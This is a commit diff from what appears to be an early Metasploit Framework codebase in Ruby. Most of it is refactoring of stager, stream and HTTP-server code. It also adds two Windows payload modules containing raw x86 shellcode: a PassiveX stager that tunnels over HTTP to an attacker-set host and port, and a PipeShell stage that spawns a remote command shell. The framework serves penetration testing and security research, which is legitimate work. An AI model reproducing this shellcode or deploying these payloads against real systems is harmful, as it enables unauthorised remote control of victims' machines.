def handle_connection(conn)
|
def stage_over_connection?
|
||||||
|
true
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Generates the stage payload and substitutes all offsets.
|
||||||
|
#
|
||||||
|
def generate_stage
|
||||||
p = stage_payload.dup
|
p = stage_payload.dup
|
||||||
|
|
||||||
# Substitute variables in the stage
|
# Substitute variables in the stage
|
||||||
|
@ -53,11 +61,24 @@ module Msf::Payload::Stager
|
||||||
|
|
||||||
# Prefix to the stage with whatever may be required and then rock it.
|
# Prefix to the stage with whatever may be required and then rock it.
|
||||||
p = (self.stage_prefix || '') + p
|
p = (self.stage_prefix || '') + p
|
||||||
|
|
||||||
print_status("Sending stage (#{p.length} bytes)")
|
|
||||||
|
|
||||||
# Send the stage
|
return p
|
||||||
conn.put(p)
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Transmit the associated stage.
|
||||||
|
#
|
||||||
|
def handle_connection(conn)
|
||||||
|
# If the stage should be sent over the client connection that is
|
||||||
|
# established (which is the default), then go ahead and transmit it.
|
||||||
|
if (stage_over_connection?)
|
||||||
|
p = generate_stage
|
||||||
|
|
||||||
|
print_status("Sending stage (#{p.length} bytes)")
|
||||||
|
|
||||||
|
# Send the stage
|
||||||
|
conn.put(p)
|
||||||
|
end
|
||||||
|
|
||||||
# If the stage implements the handle connection method, sleep before
|
# If the stage implements the handle connection method, sleep before
|
||||||
# handling it.
|
# handling it.
|
||||||
|
|
|
@ -598,6 +598,8 @@ class Core
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
rescue IOError, EOFError, Rex::StreamClosedError
|
||||||
|
print_status("Session stream closed.")
|
||||||
rescue
|
rescue
|
||||||
log_error("Session manipulation failed: #{$!}")
|
log_error("Session manipulation failed: #{$!}")
|
||||||
end
|
end
|
||||||
|
|
|
@ -13,6 +13,35 @@ module IO
|
||||||
###
|
###
|
||||||
module StreamAbstraction
|
module StreamAbstraction
|
||||||
|
|
||||||
|
###
|
||||||
|
#
|
||||||
|
# Extension information for required Stream interface.
|
||||||
|
#
|
||||||
|
###
|
||||||
|
module Ext
|
||||||
|
|
||||||
|
#
|
||||||
|
# Initializes peer information.
|
||||||
|
#
|
||||||
|
def initinfo(peer)
|
||||||
|
@peer = peer
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Symbolic peer information.
|
||||||
|
#
|
||||||
|
def peerinfo
|
||||||
|
(@peer || "Remote Pipe") + " (HTTP)"
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Symbolic local information.
|
||||||
|
#
|
||||||
|
def localinfo
|
||||||
|
"Local Pipe (HTTP)"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# This method creates a streaming socket pair and initializes it.
|
# This method creates a streaming socket pair and initializes it.
|
||||||
#
|
#
|
||||||
|
@ -21,6 +50,7 @@ module StreamAbstraction
|
||||||
::Socket::SOCK_STREAM, 0)
|
::Socket::SOCK_STREAM, 0)
|
||||||
|
|
||||||
self.lsock.extend(Rex::IO::Stream)
|
self.lsock.extend(Rex::IO::Stream)
|
||||||
|
self.lsock.extend(Ext)
|
||||||
self.rsock.extend(Rex::IO::Stream)
|
self.rsock.extend(Rex::IO::Stream)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -35,6 +65,48 @@ module StreamAbstraction
|
||||||
self.rsock = nil
|
self.rsock = nil
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Writes to the local side.
|
||||||
|
#
|
||||||
|
def syswrite(buffer)
|
||||||
|
lsock.syswrite(buffer)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Reads from the local side.
|
||||||
|
#
|
||||||
|
def sysread(length)
|
||||||
|
lsock.sysread(length)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Shuts down the local side of the stream abstraction.
|
||||||
|
#
|
||||||
|
def shutdown(how)
|
||||||
|
lsock.shutdown(how)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Closes both sides of the stream abstraction.
|
||||||
|
#
|
||||||
|
def close
|
||||||
|
cleanup_abstraction
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Symbolic peer information.
|
||||||
|
#
|
||||||
|
def peerinfo
|
||||||
|
"Remote-side of Pipe"
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Symbolic local information.
|
||||||
|
#
|
||||||
|
def localinfo
|
||||||
|
"Local-side of Pipe"
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# The left side of the stream.
|
# The left side of the stream.
|
||||||
#
|
#
|
||||||
|
|
|
@ -27,6 +27,13 @@ class Handler
|
||||||
false
|
false
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Calls the class method.
|
||||||
|
#
|
||||||
|
def relative_resource_required?
|
||||||
|
self.class.relative_resource_required?
|
||||||
|
end
|
||||||
|
|
||||||
protected
|
protected
|
||||||
|
|
||||||
attr_accessor :server # :nodoc:
|
attr_accessor :server # :nodoc:
|
||||||
|
|
|
@ -15,10 +15,18 @@ class Handler::Proc < Handler
|
||||||
#
|
#
|
||||||
# Initializes the proc handler with the supplied procedure
|
# Initializes the proc handler with the supplied procedure
|
||||||
#
|
#
|
||||||
def initialize(server, procedure)
|
def initialize(server, procedure, virt_dir = false)
|
||||||
super(server)
|
super(server)
|
||||||
|
|
||||||
self.procedure = procedure
|
self.procedure = procedure
|
||||||
|
self.virt_dir = virt_dir || false
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Returns true if the procedure is representing a virtual directory.
|
||||||
|
#
|
||||||
|
def relative_resource_required?
|
||||||
|
virt_dir
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -35,6 +43,7 @@ class Handler::Proc < Handler
|
||||||
protected
|
protected
|
||||||
|
|
||||||
attr_accessor :procedure # :nodoc:
|
attr_accessor :procedure # :nodoc:
|
||||||
|
attr_accessor :virt_dir # :nodoc:
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -103,7 +103,6 @@ class Server
|
||||||
self.listen_host = listen_host
|
self.listen_host = listen_host
|
||||||
self.listen_port = port
|
self.listen_port = port
|
||||||
self.listener = nil
|
self.listener = nil
|
||||||
self.server_name = DefaultServer
|
|
||||||
self.resources = {}
|
self.resources = {}
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -179,7 +178,7 @@ class Server
|
||||||
|
|
||||||
# If a procedure was passed, mount the resource with it.
|
# If a procedure was passed, mount the resource with it.
|
||||||
if (opts['Proc'])
|
if (opts['Proc'])
|
||||||
mount(name, Handler::Proc, false, opts['Proc'])
|
mount(name, Handler::Proc, false, opts['Proc'], opts['VirtualDirectory'])
|
||||||
else
|
else
|
||||||
raise ArgumentError, "You must specify a procedure."
|
raise ArgumentError, "You must specify a procedure."
|
||||||
end
|
end
|
||||||
|
@ -196,7 +195,7 @@ class Server
|
||||||
# Adds Server headers and stuff.
|
# Adds Server headers and stuff.
|
||||||
#
|
#
|
||||||
def add_response_headers(resp)
|
def add_response_headers(resp)
|
||||||
resp['Server'] = self.server_name
|
resp['Server'] = DefaultServer
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -234,11 +233,6 @@ class Server
|
||||||
end
|
end
|
||||||
|
|
||||||
attr_accessor :listen_port, :listen_host
|
attr_accessor :listen_port, :listen_host
|
||||||
|
|
||||||
#
|
|
||||||
# Server name used by this servier instance
|
|
||||||
#
|
|
||||||
attr_accessor :server_name
|
|
||||||
|
|
||||||
protected
|
protected
|
||||||
|
|
||||||
|
@ -306,7 +300,7 @@ protected
|
||||||
handler = p[0].new(self, *p[2])
|
handler = p[0].new(self, *p[2])
|
||||||
|
|
||||||
# If the handler class requires a relative resource...
|
# If the handler class requires a relative resource...
|
||||||
if (p[0].relative_resource_required?)
|
if (handler.relative_resource_required?)
|
||||||
# Substituted the mount point root in the request to make things
|
# Substituted the mount point root in the request to make things
|
||||||
# relative to the mount point.
|
# relative to the mount point.
|
||||||
request.relative_resource = request.resource.gsub(/^#{root}/, '')
|
request.relative_resource = request.resource.gsub(/^#{root}/, '')
|
||||||
|
@ -335,7 +329,6 @@ protected
|
||||||
close_client(cli)
|
close_client(cli)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -79,8 +79,6 @@ class Exploits::Test::Multi::Aggressive < Msf::Exploit::Remote
|
||||||
gets
|
gets
|
||||||
end
|
end
|
||||||
|
|
||||||
sock.get
|
|
||||||
|
|
||||||
handler
|
handler
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -21,6 +21,7 @@ module BindTcp
|
||||||
'Arch' => ARCH_X86,
|
'Arch' => ARCH_X86,
|
||||||
'Handler' => Msf::Handler::BindTcp,
|
'Handler' => Msf::Handler::BindTcp,
|
||||||
'Convention' => 'sockedi',
|
'Convention' => 'sockedi',
|
||||||
|
'SymbolLookup' => 'ebp',
|
||||||
'Stager' =>
|
'Stager' =>
|
||||||
{
|
{
|
||||||
'Offsets' =>
|
'Offsets' =>
|
||||||
|
|
|
@ -0,0 +1,97 @@
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/core/handler/passivex'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
module Payloads
|
||||||
|
module Stagers
|
||||||
|
module Windows
|
||||||
|
|
||||||
|
module PassiveX
|
||||||
|
|
||||||
|
include Msf::Payload::Stager
|
||||||
|
include Msf::Payload::Windows
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(merge_info(info,
|
||||||
|
'Name' => 'PassiveX Stager',
|
||||||
|
'Version' => '$Revision$',
|
||||||
|
'Description' => 'Tunnel communication over HTTP',
|
||||||
|
'Author' => 'skape',
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Arch' => ARCH_X86,
|
||||||
|
'Handler' => Msf::Handler::PassiveX,
|
||||||
|
'Convention' => 'sockedi',
|
||||||
|
'Stager' =>
|
||||||
|
{
|
||||||
|
'Offsets' =>
|
||||||
|
{
|
||||||
|
'EXITFUNC' => [ 244, 'V' ],
|
||||||
|
},
|
||||||
|
'Payload' =>
|
||||||
|
"\xfc\xe8\x77\x00\x00\x00\x53\x6f\x66\x74\x77\x61\x72\x65\x5c\x4d" +
|
||||||
|
"\x69\x63\x72\x6f\x73\x6f\x66\x74\x5c\x57\x69\x6e\x64\x6f\x77\x73" +
|
||||||
|
"\x5c\x43\x75\x72\x72\x65\x6e\x74\x56\x65\x72\x73\x69\x6f\x6e\x5c" +
|
||||||
|
"\x49\x6e\x74\x65\x72\x6e\x65\x74\x20\x53\x65\x74\x74\x69\x6e\x67" +
|
||||||
|
"\x73\x5c\x5a\x6f\x6e\x65\x73\x5c\x33\x00\x31\x30\x30\x34\x31\x32" +
|
||||||
|
"\x30\x30\x31\x32\x30\x31\x31\x30\x30\x31\x43\x3a\x5c\x70\x72\x6f" +
|
||||||
|
"\x67\x72\x61\x7e\x31\x5c\x69\x6e\x74\x65\x72\x6e\x7e\x31\x5c\x69" +
|
||||||
|
"\x65\x78\x70\x6c\x6f\x72\x65\x20\x2d\x6e\x65\x77\x00\xe8\x4e\x00" +
|
||||||
|
"\x00\x00\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef" +
|
||||||
|
"\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\xe3\x32\x49\x8b\x34\x8b\x01\xee" +
|
||||||
|
"\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b" +
|
||||||
|
"\x54\x24\x28\x75\xe3\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f" +
|
||||||
|
"\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc2\x08\x00" +
|
||||||
|
"\x5f\x5b\x31\xd2\x64\x8b\x42\x30\x85\xc0\x78\x0c\x8b\x40\x0c\x8b" +
|
||||||
|
"\x70\x1c\xad\x8b\x40\x08\xeb\x09\x8b\x40\x34\x83\xc0\x7c\x8b\x40" +
|
||||||
|
"\x3c\x89\xe5\x68\x7e\xd8\xe2\x73\x50\x68\x72\xfe\xb3\x16\x50\x68" +
|
||||||
|
"\x8e\x4e\x0e\xec\x50\xff\xd7\x96\xff\xd7\x89\x45\x00\xff\xd7\x89" +
|
||||||
|
"\x45\x04\x52\x68\x70\x69\x33\x32\x68\x61\x64\x76\x61\x54\xff\xd6" +
|
||||||
|
"\x68\xa9\x2b\x92\x02\x50\x68\xdd\x9a\x1c\x2d\x50\xff\xd7\x89\x45" +
|
||||||
|
"\x08\xff\xd7\x97\x87\xf3\x54\x56\x68\x01\x00\x00\x80\xff\xd7\x5b" +
|
||||||
|
"\x83\xc6\x44\x50\x89\xe7\x80\x3e\x43\x74\x1b\x50\xad\x50\x89\xe0" +
|
||||||
|
"\x6a\x04\x57\x6a\x04\x6a\x00\x50\x53\xff\x55\x08\xeb\xe8\x8a\x0d" +
|
||||||
|
"\x30\x00\xfe\x7f\x88\x0e\x6a\x54\x59\x29\xcc\x89\xe7\x57\xf3\xaa" +
|
||||||
|
"\x5f\xc6\x07\x44\xfe\x47\x2c\xfe\x47\x2d\x68\x75\x6c\x74\x00\x68" +
|
||||||
|
"\x44\x65\x66\x61\x68\x74\x61\x30\x5c\x68\x57\x69\x6e\x53\x89\x67" +
|
||||||
|
"\x08\x8d\x5f\x44\x53\x57\x50\x50\x6a\x10\x50\x50\x50\x56\x50\xff" +
|
||||||
|
"\x55\x00\xff\x55\x04"
|
||||||
|
}
|
||||||
|
))
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Do not transmit the stage over the connection. We send the stage via an
|
||||||
|
# HTTP request.
|
||||||
|
#
|
||||||
|
def stage_over_connection?
|
||||||
|
false
|
||||||
|
end
|
||||||
|
|
||||||
|
def generate
|
||||||
|
# Generate the payload
|
||||||
|
p = super
|
||||||
|
|
||||||
|
# Construct the full URL that will be embedded in the payload. The uri
|
||||||
|
# attribute is derived from the value that will have been set by the
|
||||||
|
# passivex handler.
|
||||||
|
url = " http://#{datastore['PXHOST']}:#{datastore['PXPORT']}#{datastore['PXURI'] || '/'}"
|
||||||
|
|
||||||
|
# Get the find function offset
|
||||||
|
off = p[2, 4].unpack('V')[0]
|
||||||
|
|
||||||
|
# Update the offset to include the length of the URL
|
||||||
|
p[2, 4] = [ off + url.length ].pack('V')
|
||||||
|
|
||||||
|
# Adjust the true offset by five
|
||||||
|
off += 5
|
||||||
|
|
||||||
|
# Insert the URL into the payload
|
||||||
|
p = p[0, off] + url + p[off .. -1]
|
||||||
|
|
||||||
|
# Return the updated payload
|
||||||
|
return p
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end end end end
|
|
@ -21,6 +21,7 @@ module ReverseTcp
|
||||||
'Arch' => ARCH_X86,
|
'Arch' => ARCH_X86,
|
||||||
'Handler' => Msf::Handler::ReverseTcp,
|
'Handler' => Msf::Handler::ReverseTcp,
|
||||||
'Convention' => 'sockedi',
|
'Convention' => 'sockedi',
|
||||||
|
'SymbolLookup' => 'ebp',
|
||||||
'Stager' =>
|
'Stager' =>
|
||||||
{
|
{
|
||||||
'Offsets' =>
|
'Offsets' =>
|
||||||
|
|
|
@ -0,0 +1,68 @@
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
module Payloads
|
||||||
|
module Stages
|
||||||
|
module Windows
|
||||||
|
|
||||||
|
module PipeShell
|
||||||
|
|
||||||
|
include Msf::Payload::Windows
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(merge_info(info,
|
||||||
|
'Name' => 'Windows Piped Command Shell',
|
||||||
|
'Version' => '$Revision$',
|
||||||
|
'Description' => 'Spawn a piped command shell',
|
||||||
|
'Author' => 'spoonm',
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Arch' => ARCH_X86,
|
||||||
|
'Session' => Msf::Sessions::CommandShell,
|
||||||
|
'PayloadCompat' =>
|
||||||
|
{
|
||||||
|
'Convention' => 'sockedi'
|
||||||
|
},
|
||||||
|
'Stage' =>
|
||||||
|
{
|
||||||
|
'Offsets' =>
|
||||||
|
{
|
||||||
|
'EXITFUNC' => [ 443, 'V' ]
|
||||||
|
},
|
||||||
|
'Payload' =>
|
||||||
|
"\x68\x33\x32\x00\x00\x68\x57\x53\x32\x5f\x57\xfc\xe8\x4c\x00\x00"+
|
||||||
|
"\x00\x60\x8b\x6c\x24\x28\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b"+
|
||||||
|
"\x4f\x18\x8b\x5f\x20\x01\xeb\xe3\x30\x49\x8b\x34\x8b\x01\xee\x31"+
|
||||||
|
"\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54"+
|
||||||
|
"\x24\x24\x75\xe3\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c"+
|
||||||
|
"\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61\xc2\x08\x00\x6a\x30\x59"+
|
||||||
|
"\x64\x8b\x31\x8b\x76\x0c\x8b\x76\x1c\xad\x8b\x58\x08\x5e\x53\x68"+
|
||||||
|
"\x8e\x4e\x0e\xec\xff\xd6\x97\x53\x56\x57\x8d\x44\x24\x10\x50\xff"+
|
||||||
|
"\xd7\x50\x50\x50\x68\xb6\x19\x18\xe7\xff\xd6\x97\x68\xa4\x19\x70"+
|
||||||
|
"\xe9\xff\xd6\x95\x68\x08\x92\xe2\xed\xff\xd6\x50\x57\x55\x83\xec"+
|
||||||
|
"\x10\x89\xe5\x89\xee\x6a\x01\x6a\x00\x6a\x0c\x89\xe1\x6a\x00\x51"+
|
||||||
|
"\x56\xad\x56\x53\x68\x80\x8f\x0c\x17\xff\x55\x20\x89\xc7\xff\xd0"+
|
||||||
|
"\x89\xe0\x6a\x00\x50\x8d\x75\x08\x56\x8d\x75\x0c\x56\xff\xd7\x68"+
|
||||||
|
"\x43\x4d\x44\x00\x89\xe2\x31\xc0\x8d\x7a\xac\x6a\x15\x59\xf3\xab"+
|
||||||
|
"\x83\xec\x54\xc6\x42\xbc\x44\x66\xc7\x42\xe8\x01\x01\x8b\x75\x08"+
|
||||||
|
"\x89\x72\xfc\x89\x72\xf8\x8b\x75\x04\x89\x72\xf4\x8d\x42\xbc\x54"+
|
||||||
|
"\x50\x51\x51\x51\x41\x51\x49\x51\x51\x52\x51\x53\x68\x72\xfe\xb3"+
|
||||||
|
"\x16\xff\x55\x20\xff\xd0\x31\xc0\xb4\x04\x96\x29\xf4\x89\xe7\x6a"+
|
||||||
|
"\x64\x53\x68\xb0\x49\x2d\xdb\xff\x55\x20\xff\xd0\x31\xc0\x50\x57"+
|
||||||
|
"\x50\x50\x50\xff\x75\x0c\x53\x68\x11\xc4\x07\xb4\xff\x55\x20\xff"+
|
||||||
|
"\xd0\x85\xc0\x74\x74\x31\xc0\x3b\x07\x74\x36\xe8\x77\x00\x00\x00"+
|
||||||
|
"\x50\x89\xe1\x50\x51\x56\x57\xff\x75\x0c\x53\x68\x16\x65\xfa\x10"+
|
||||||
|
"\xff\x55\x20\xff\xd0\x85\xc0\x74\x50\x31\xc0\x59\x39\xc8\x74\x11"+
|
||||||
|
"\x50\x51\x57\xff\x75\x28\xff\x55\x10\x31\xc9\x39\xc8\x7c\x3a\xeb"+
|
||||||
|
"\xab\x89\xe0\xe8\x3f\x00\x00\x00\x31\xc0\x50\x56\x57\xff\x75\x28"+
|
||||||
|
"\xff\x55\x14\x31\xc9\x39\xc8\x7c\x86\x74\x1e\x51\x89\xe2\x51\x52"+
|
||||||
|
"\x50\x57\xff\x75\x00\x53\x68\x1f\x79\x0a\xe8\xff\x55\x20\xff\xd0"+
|
||||||
|
"\x85\xc0\x74\x05\x31\xc0\x59\xeb\xc8\x53\x68\x7e\xd8\xe2\x73\xff"+
|
||||||
|
"\x55\x20\x31\xc9\x51\xff\xd0\x50\x54\x68\x7e\x66\x04\x80\xff\x75"+
|
||||||
|
"\x28\xff\x55\x18\x85\xc0\x58\x75\xe0\xc3"
|
||||||
|
}
|
||||||
|
))
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end end end end
|
|
@ -20,7 +20,8 @@ module Shell
|
||||||
'Session' => Msf::Sessions::CommandShell,
|
'Session' => Msf::Sessions::CommandShell,
|
||||||
'PayloadCompat' =>
|
'PayloadCompat' =>
|
||||||
{
|
{
|
||||||
'Convention' => 'sockedi'
|
'Convention' => 'sockedi',
|
||||||
|
'SymbolLookup' => 'ebp',
|
||||||
},
|
},
|
||||||
'Stage' =>
|
'Stage' =>
|
||||||
{
|
{
|
||||||
|
|
Loading…
Reference in New Issue